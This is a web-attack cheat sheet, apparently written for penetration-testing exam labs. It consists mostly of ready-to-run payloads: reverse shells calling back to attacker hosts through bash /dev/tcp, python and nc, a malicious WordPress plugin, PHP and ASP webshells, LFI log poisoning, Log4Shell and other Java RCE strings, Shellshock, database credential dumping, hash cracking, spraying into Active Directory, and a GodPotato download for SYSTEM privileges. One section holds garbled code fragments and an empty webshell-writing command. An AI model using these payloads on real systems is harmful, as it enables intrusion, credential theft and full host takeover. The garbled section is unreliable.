Web Attacks Reference


Reconnaissance and Directory Discovery

Run in parallel the moment you find a web port:

# Quick hits + common files
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 50

# Standard directory bust
ffuf -ac -t 60 -u http://$ip/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# CRITICAL: ALSO run with raft-large directories AND case-variant wordlists
# Lowercase-only wordlists MISS files like /CHANGELOG, /README, /API, /Admin
ffuf -ac -t 60 -u http://$ip/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
ffuf -ac -t 60 -u http://$ip/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt

# Virtual host discovery (if domain known)
ffuf -u http://$ip/ -H "Host: FUZZ.<domain>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_size>

Wordlist priority order (run all of these on standalone web targets):

  1. raft-medium-directories.txt — fast first pass
  2. raft-large-directories.txt — case-mixed, catches /CHANGELOG, /Admin, /API
  3. raft-large-files.txt — extension-aware
  4. directory-list-2.3-medium.txt — dirbuster classic
  5. common.txt — last resort backup

ALWAYS try common dev/info files manually (case-sensitive):

for path in CHANGELOG README LICENSE VERSION TODO NOTES changelog readme; do
  curl -sI "http://$ip/$path" | head -1
done

Employee names for AD username enumeration:

username-anarchy --input-file fullnames.txt --select-format first,flast,first.last,firstlast > usernames.txt

Always check manually:

curl http://$ip/robots.txt
curl http://$ip/sitemap.xml
curl http://$ip/.git/HEAD
curl http://$ip/web.config
curl http://$ip/.env
curl http://$ip/wp-config.php.bak
curl http://$ip/phpinfo.php

View page source on every page — look for HTML comments with creds/paths, hidden form fields, JS files with API endpoints, version numbers, admin panel links.


POST vs GET

If GET returns an error or empty response, try POST:

curl http://$ip:PORT/endpoint
curl -d "" -X POST http://$ip:PORT/endpoint
curl -d "" -X POST -H "Content-Type: application/x-www-form-urlencoded" http://$ip:PORT/endpoint

# GET requests
curl http://$TARGET:<port>/
curl http://$TARGET:33333/<endpoint>

# POST requests
curl -s -i -X POST -H 'Content-Length: 0' http://$TARGET:<port>/<endpoint>

Lesson: A high-port API (e.g. 33333) returned nothing on GET. A POST with a content-length header revealed a process list containing hardcoded credentials — always try POST when GET looks empty.

LFI → RCE reverse shells (through a known/uploaded PHP shell)

# bash reverse shell through the shell's cmd parameter
curl -sG "http://$TARGET/index.php" \
  --data-urlencode "file=simple_shell.php" \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$KALI/443 0>&1'"

# python3 reverse shell
curl -sG "http://$TARGET/index.php" \
  --data-urlencode "file=simple_shell.php" \
  --data-urlencode "cmd=python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"$KALI\",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"

# mkfifo reverse shell
curl -sG "http://$TARGET/index.php" \
  --data-urlencode "file=simple_shell.php" \
  --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $KALI 443 >/tmp/f"

Finding the egress port — if outbound is filtered, probe which port can reach you, then fire the shell on that port:

# 1. Listen on Kali for probes
sudo tcpdump -ni tun0 "tcp and host $TARGET and (port 443 or port 80 or port 53)"

# 2. Fire timeout probes to common egress ports (whichever shows a SYN in tcpdump is open)
curl -sG 'http://$TARGET/index.php?file=....//....//....//<path>/simpleshell.php' --data-urlencode 'cmd=timeout 3 bash -c "echo x > /dev/tcp/$KALI/443"'
curl -sG 'http://$TARGET/index.php?file=....//....//....//<path>/simpleshell.php' --data-urlencode 'cmd=timeout 3 bash -c "echo x > /dev/tcp/$KALI/80"'

# 3. Base64-encode the reverse shell and fire it on the working port
echo -n 'bash -i >& /dev/tcp/$KALI/443 0>&1' | base64
rlwrap nc -lvnp 443

CMS Identification and Exploitation

wpscan --url http://$ip --enumerate p --plugins-detection aggressive
droopescan scan drupal -u http://$ip
joomscan --url http://$ip

For any CMS: searchsploit <CMS> <version> → unauthenticated exploits first.


WordPress Exploitation

WordPress → wp-config.php → MySQL → dump hashes → crack → spray into AD

Phase 0 — Add Hostname to /etc/hosts

# WordPress often redirects to a hostname — map it so links/wp-json resolve
echo "$ip wordpress.local" | sudo tee -a /etc/hosts

Phase 1 — WPScan Enumeration

wpscan --url http://TARGET --enumerate p,t,u --plugins-detection aggressive
curl http://TARGET/wp-json/wp/v2/users

Phase 2 — Brute-Force WordPress Login

wpscan --url http://TARGET --password-attack xmlrpc -U admin -P /path/to/wordlist -t 30

Phase 3 — WordPress Admin → Shell (5 methods)

Method 1: Theme Editor (404.php)http://TARGET/wp-content/themes/THEME_NAME/404.php

Method 2: Malicious Plugin Upload

<?php
/**
* Plugin Name: Starter Plugin
* Version: 1.0
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
?>

zip revshell.zip revshell.php → Plugins → Add New → Upload → Activate

Method 3: Metasploitexploit/unix/webapp/wp_admin_shell_upload

Method 4: Plugin Editor → edit existing plugin PHP file

Method 5: Quick webshell

<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; system($_REQUEST["cmd"]); echo "</pre>"; die; } ?>

Phase 4 — wp-config.php → MySQL → Credential Dump

cat /var/www/html/wp-config.php

Phase 5 — MySQL Database Exploitation

mysql -u DB_USER -p'DB_PASS' -h localhost DB_NAME
SELECT user_login, user_pass FROM wp_users;
SELECT concat_ws(':', user_login, user_pass) FROM wp_users;

Phase 6 — Crack WordPress Hashes

hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
john --format=phpass hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Phase 7 — Spray into AD

nxc smb DC_IP -u userlist.txt -p 'wordpress_password' --continue-on-success
nxc winrm DC_IP -u username -p 'cracked_wp_hash'

Authentication Testing

Try on every login: admin:admin, admin:password, admin:Password1, root:root, tomcat:s3cret, postgres:postgres, sa:sa, Company2024!


SQLi

Covers: detection checklist (7 tests), auth bypass, error-based (MySQL/MSSQL/PostgreSQL), UNION-based (all DBs), stacked queries → xp_cmdshell RCE, blind boolean + time-based, Python extraction scripts, INTO OUTFILE webshells, WAF bypass.

On MSSQL (IIS + ASP.NET)? Test stacked queries FIRST: '; WAITFOR DELAY '0:0:5'-- → if it delays, go straight to xp_cmdshell. Don’t waste time on UNION.


LFI

Test payloads:

?page=../../../etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
curl -s "http://target/index.php?file=....//....//....//etc/passwd"
?page=php://filter/convert.base64-encode/resource=index.php
?page=php:
?page=data://text/plain,<?php system('id'); ?>

Windows LFI paths:

?page=C:/windows/system32/drivers/etc/hosts
?page=C:/inetpub/wwwroot/web.config
?page=C:/xampp/apache/conf/httpd.conf

What to READ via Windows LFI (prioritized):

C:/xampp/htdocs/dashboard/phpinfo.phpC:/xampp/apache/conf/httpd.conf
C:/xampp/php/php.ini
C:/xampp/phpMyAdmin/config.inc.php
C:/xampp/tomcat/conf/tomcat-users.xml
C:/inetpub/wwwroot/web.config
C:/windows/system32/drivers/etc/hosts
C:/xampp/htdocs/wp-config.php

Web Root Locations

Web ServerOSDefault Web Root
Apache (XAMPP)WindowsC:\xampp\htdocs\
ApacheLinux/var/www/html/
IISWindowsC:\inetpub\wwwroot\
nginxLinux/var/www/html/
TomcatAnywebapps/

LFI → RCE

Log poisoning: Inject <?php system($_GET['cmd']); ?> in User-Agent → include /var/log/apache2/access.log

PHP wrappers:

?page=php://input    (POST: <?php system('bash -i >& /dev/tcp/ATTACKER/4444 0>&1'); ?>)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=whoami

Write shell + include via LFI (when you have SSH or any shell on the box): If you already have a low-priv shell AND find LFI on a localhost service, write a PHP webshell then include it: " + chr(96)*3 + “bash

Write webshell to a writable directory

echo " + chr(39) + “” + chr(39) + " > /dev/shm/shell.php

Include it via LFI

curl “http://127.0.0.1:8000/backend/?view=../../../../../dev/shm/shell.php&cmd=id” " + chr(96)*3 + " Writable directories to try (in order):

  1. /dev/shm — shared memory, world-writable, no noexec (BEST)
  2. /var/tmp — persists across reboots
  3. /tmp — sometimes has noexec mount, try last
  4. /run/shm — alias for /dev/shm on some distros

RFI (if allow_url_include=On)

?page=http://ATTACKER/shell.php

Command Injection

; whoami
| whoami
|| whoami
&& whoami
`whoami`
$(whoami)
%0a whoami

Blind: ; ping -c 3 ATTACKER_IPsudo tcpdump -i tun0 icmp


File Upload

Try in order: correct extension → alternate extensions (.phtml, .php5) → double extension (shell.php.jpg) → null byte (shell.php%00.jpg) → Content-Type spoof → magic bytes (GIF89a) → .htaccess trick → case variation → IIS tricks (shell.asp;.jpg)

Minimal shells:

<?php system($_GET['cmd']); ?>
<% Set o = Server.CreateObject("WSCRIPT.SHELL") : Set x = o.exec("cmd /c " & Request("cmd")) : Response.Write x.StdOut.ReadAll %>

SSTI

Detect: ${{ <%[%'"}}%\ then {{7*7}} → 49 = Jinja2/Twig, ${7*7} → FreeMarker

Jinja2 RCE:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Twig RCE:

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

Java Backend RCE (Tomcat / Spring / JBoss / Struts)

Indicators a backend is Java:

  • nmap shows Apache Tomcat, Jetty, JBoss, WebLogic
  • nmap favicon line: Spring Java Framework
  • HTTP headers: X-Powered-By: Servlet, Server: Apache-Coyote
  • Cookie: JSESSIONID
  • Response Content-Type: text/plain;charset=UTF-8 from API endpoints (Tomcat default)
  • File extensions .jsp, .do, .action

Fuzz list — paste each into reflected params, headers, User-Agent, Cookie. Watch for DNS callback OR sleep/delay:

${jndi:ldap://CALLBACK/x}                                          # Log4Shell - CVE-2021-44228
${jndi:dns://CALLBACK}                                              # Log4Shell variant
${dns:address|CALLBACK}                                             # Text4Shell - CVE-2022-42889
${url:UTF-8:http://CALLBACK/}                                       # Text4Shell variant
${script:javascript:java.lang.Runtime.getRuntime().exec("sleep 10")}   # Text4Shell visible
T(java.lang.Runtime).getRuntime().exec("sleep 10")                  # Spring SpEL
%{(#cmd='id').(@java.lang.Runtime@getRuntime().exec(#cmd))}         # Struts2 OGNL - CVE-2017-5638
class.module.classLoader.URLs[0]=                                   # Spring4Shell - CVE-2022-22965

If a payload triggers (delay/callback) → look up full RCE syntax in:

  • HackTricks: book.hacktricks.wiki (Java RCE / Tomcat / Spring pages)
  • PayloadsAllTheThings: github.com/swisskyrepo/PayloadsAllTheThings (Java page)

Other Java entry points to check:

  • Tomcat manager: /manager/html with default creds (tomcat:tomcat, admin:admin, tomcat:s3cret) → upload WAR
  • Spring Actuator: /actuator, /actuator/env, /actuator/heapdump, /actuator/mappings
  • JBoss: /jmx-console, /web-console, /invoker/JMXInvokerServlet

DNS callback setup (no internet during exam — local only):

# Listen for DNS lookups from target on tun0
sudo tcpdump -i tun0 -n 'port 53' -A
# Use your own Kali tun0 IP as the callback host in payloads.
# Works for ${dns:...} and ${url:...} probes that resolve hostnames.
# For ${jndi:ldap://...} you need an LDAP server (marshalsec) — different setup.

XXE

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

Shellshock (CVE-2014-6271)

curl -H "User-Agent: () { :; }; echo; /usr/bin/id" http://$ip/cgi-bin/script.sh
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1" http://$ip/cgi-bin/script.sh

SSRF

?url=http://127.0.0.1:8080/admin
?url=http://169.254.169.254/latest/meta-data/
?url=file:///etc/passwd

URL Query Parameters as Input

? starts the query string. http://target/?whoami = command after ?.


DotNetNuke (DNN) Exploitation

Recognition

  • /Login page with DNN branding
  • Portals/0/ in URLs
  • HTTP response headers may mention DNN or DotNetNuke
  • Default portals directory: /Portals/0/

Default Credentials

admin : password host : dnnhost Try these at /Login before anything else.

If default creds changed: MSSQL password update

SELECT * FROM dbo.aspnet_Membership; – Update password via SQL if needed (tricky due to salt+PBKDF2) – Easier: check HostSettings table for admin lockout status

Post-Auth Exploit: File Upload Extension Bypass

DNN blocks .aspx by default. To upload aspx webshell:

  1. Login as admin at /Login
  2. Go to Persona Bar → Settings → Security → More → More Security Settings
  3. Find ‘Allowable File Extensions’ (HostSettings table, SettingName=‘FileExtensions’)
  4. Add ‘aspx’ to the comma-separated list
  5. Save

UPDATE HostSettings SET SettingValue = ‘bmp,gif,ico,jpeg,jpg,jpe,png,svg,aspx,asp,ashx’ WHERE SettingName = ‘FileExtensions’;

Upload Webshell

  • Admin → File Management → upload cmdasp.aspx
  • OR Persona Bar → File Management

Access Webshell

http://TARGET/Portals/0/cmdasp.aspx

Portal ID 0 is the default portal’s upload root. Other portals land at /Portals/1/ etc.

Privesc from Webshell

IIS AppPool identity has SeImpersonatePrivilege. GodPotato or PrintSpoofer for SYSTEM.

whoami /priv
# Download tools
powershell -c "iwr http://KALI/GodPotato-NET4.exe -o C:\Windows\Temp\gp.exe"
powershell -c "iwr http://KALI/nc.exe -o C:\Windows\Temp\nc.exe"
# Listener on Kali
C:\Windows\Temp\gp.exe -cmd "C:\Windows\Temp\nc.exe KALI 4444 -e cmd.exe"
  • Typical chain: default creds at /Login → aspx extension-allowlist bypass → webshell → SeImpersonate privesc (GodPotato/PrintSpoofer) → SYSTEM